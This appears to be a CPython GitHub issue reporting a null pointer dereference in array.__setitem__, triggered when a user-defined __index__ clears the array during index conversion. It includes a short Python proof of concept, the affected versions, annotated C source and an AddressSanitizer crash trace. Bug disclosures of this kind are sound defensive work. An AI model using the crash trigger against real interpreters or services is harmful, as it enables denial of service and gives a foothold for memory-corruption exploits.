Skip to content

Null pointer dereference in array.__setitem__ via re-entrant __index__ #142555

@jackfromeast

Description

@jackfromeast

What happened?

A user-defined __index__ can clear/shrink the target array during index conversion. The bounds check happens before the callback, but the write in b_setitem happens after, using a stale buffer and causing a write into freed/zero-length memory.

Proof of Concept:

import array

victim = array.array('b', [0] * 64)

class Evil:
    def __index__(self):
        # Re-entrant mutation: shrink the array while __setitem__ still holds
        # a pointer to the pre-clear buffer.
        victim.clear()
        return 0

victim[1] = Evil()

Affected Versions:

Python Version Status Exit Code
Python 3.9.24+ (heads/3.9:9c4638d, Oct 17 2025, 11:19:30) Exception 1
Python 3.10.19+ (heads/3.10:0142619, Oct 17 2025, 11:20:05) [GCC 13.3.0] Exception 1
Python 3.11.14+ (heads/3.11:88f3f5b, Oct 17 2025, 11:20:44) [GCC 13.3.0] Exception 1
Python 3.12.12+ (heads/3.12:8cb2092, Oct 17 2025, 11:21:35) [GCC 13.3.0] Exception 1
Python 3.13.9+ (heads/3.13:0760a57, Oct 17 2025, 11:22:25) [GCC 13.3.0] ASAN 1
Python 3.14.0+ (heads/3.14:889e918, Oct 17 2025, 11:23:02) [GCC 13.3.0] ASAN 1
Python 3.15.0a1+ (heads/main:fbf0843, Oct 17 2025, 11:23:37) [GCC 13.3.0] ASAN 1

Vulnerable Code Snippet

int
PyObject_SetItem(PyObject *o, PyObject *key, PyObject *value)
{
    if (o == NULL || key == NULL || value == NULL) {
        null_error();
        return -1;
    }

    PyMappingMethods *m = Py_TYPE(o)->tp_as_mapping;
    if (m && m->mp_ass_subscript) {
        int res = m->mp_ass_subscript(o, key, value);
        assert(_Py_CheckSlotResult(o, "__setitem__", res >= 0));
        return res;
    }

    if (Py_TYPE(o)->tp_as_sequence) {
        if (_PyIndex_Check(key)) {
            Py_ssize_t key_value;
            key_value = PyNumber_AsSsize_t(key, PyExc_IndexError);
            if (key_value == -1 && PyErr_Occurred())
                return -1;
            return PySequence_SetItem(o, key_value, value);
        }
        else if (Py_TYPE(o)->tp_as_sequence->sq_ass_item) {
            type_error("sequence index must be "
                       "integer, not '%.200s'", key);
            return -1;
        }
    }

    type_error("'%.200s' object does not support item assignment", o);
    return -1;
}

static int
array_ass_subscr(PyObject *op, PyObject *item, PyObject *value)
{
    Py_ssize_t start, stop, step, slicelength, needed;
    arrayobject *self = arrayobject_CAST(op);
    array_state* state = find_array_state_by_type(Py_TYPE(self));
    arrayobject* other;
    int itemsize;

    if (PyIndex_Check(item)) {
        Py_ssize_t i = PyNumber_AsSsize_t(item, PyExc_IndexError);

        if (i == -1 && PyErr_Occurred())
            return -1;
        if (i < 0)
            i += Py_SIZE(self);
        if (i < 0 || i >= Py_SIZE(self)) {
            PyErr_SetString(PyExc_IndexError,
                "array assignment index out of range");
            return -1;
        }
        if (value == NULL) {
            /* Fall through to slice assignment */
            start = i;
            stop = i + 1;
            step = 1;
            slicelength = 1;
        }
        else
		    // Bug: SetItem happens
            return (*self->ob_descr->setitem)(self, i, value);
    }   
...
}

static int
b_setitem(arrayobject *ap, Py_ssize_t i, PyObject *v)
{
    short x;
    // Bug: Value's __index__ method has been called where the array buffer has been freed.
    /* PyArg_Parse's 'b' formatter is for an unsigned char, therefore
       must use the next size up that is signed ('h') and manually do
       the overflow checking */
    if (!PyArg_Parse(v, "h;array item must be integer", &x))
        return -1;
    else if (x < -128) {
        PyErr_SetString(PyExc_OverflowError,
            "signed char is less than minimum");
        return -1;
    }
    else if (x > 127) {
        PyErr_SetString(PyExc_OverflowError,
            "signed char is greater than maximum");
        return -1;
    }
    if (i >= 0)
		// Freed buffer has been visited.
        ((char *)ap->ob_item)[i] = (char)x;
    return 0;
}

Sanitizer

=================================================================
==1453430==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x7aef85b7e366 bp 0x7ffc096c5ca0 sp 0x7ffc096c5c00 T0)
==1453430==The signal is caused by a WRITE memory access.
==1453430==Hint: address points to the zero page.
    #0 0x7aef85b7e366 in b_setitem Modules/arraymodule.c:235
    #1 0x7aef85b8155a in array_ass_subscr Modules/arraymodule.c:2528
    #2 0x61f8093f2be7 in PyObject_SetItem Objects/abstract.c:237
    #3 0x61f8096de2f6 in _PyEval_EvalFrameDefault Python/generated_cases.c.h:11245
    #4 0x61f8096e4e54 in _PyEval_EvalFrame Include/internal/pycore_ceval.h:121
    #5 0x61f8096e5148 in _PyEval_Vector Python/ceval.c:2001
    #6 0x61f8096e53f8 in PyEval_EvalCode Python/ceval.c:884
    #7 0x61f8097dc507 in run_eval_code_obj Python/pythonrun.c:1365
    #8 0x61f8097dc723 in run_mod Python/pythonrun.c:1459
    #9 0x61f8097dd57a in pyrun_file Python/pythonrun.c:1293
    #10 0x61f8097e0220 in _PyRun_SimpleFileObject Python/pythonrun.c:521
    #11 0x61f8097e04f6 in _PyRun_AnyFileObject Python/pythonrun.c:81
    #12 0x61f80983174d in pymain_run_file_obj Modules/main.c:410
    #13 0x61f8098319b4 in pymain_run_file Modules/main.c:429
    #14 0x61f8098331b2 in pymain_run_python Modules/main.c:691
    #15 0x61f809833842 in Py_RunMain Modules/main.c:772
    #16 0x61f809833a2e in pymain_main Modules/main.c:802
    #17 0x61f809833db3 in Py_BytesMain Modules/main.c:826
    #18 0x61f8092b7645 in main Programs/python.c:15
    #19 0x7aef8642a1c9 in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58
    #20 0x7aef8642a28a in __libc_start_main_impl ../csu/libc-start.c:360
    #21 0x61f8092b7574 in _start (/home/jackfromeast/Desktop/entropy/tasks/grammar-afl++-latest/targets/cpython/python+0x2dd574) (BuildId: ff3dc40ea460bd4beb2c3a72283cca525b319bf0)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV Modules/arraymodule.c:235 in b_setitem
==1453430==ABORTING

Metadata

Metadata

Assignees

No one assigned

    Labels

    extension-modulesC modules in the Modules dirtype-crashA hard crash of the interpreter, possibly with a core dump

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions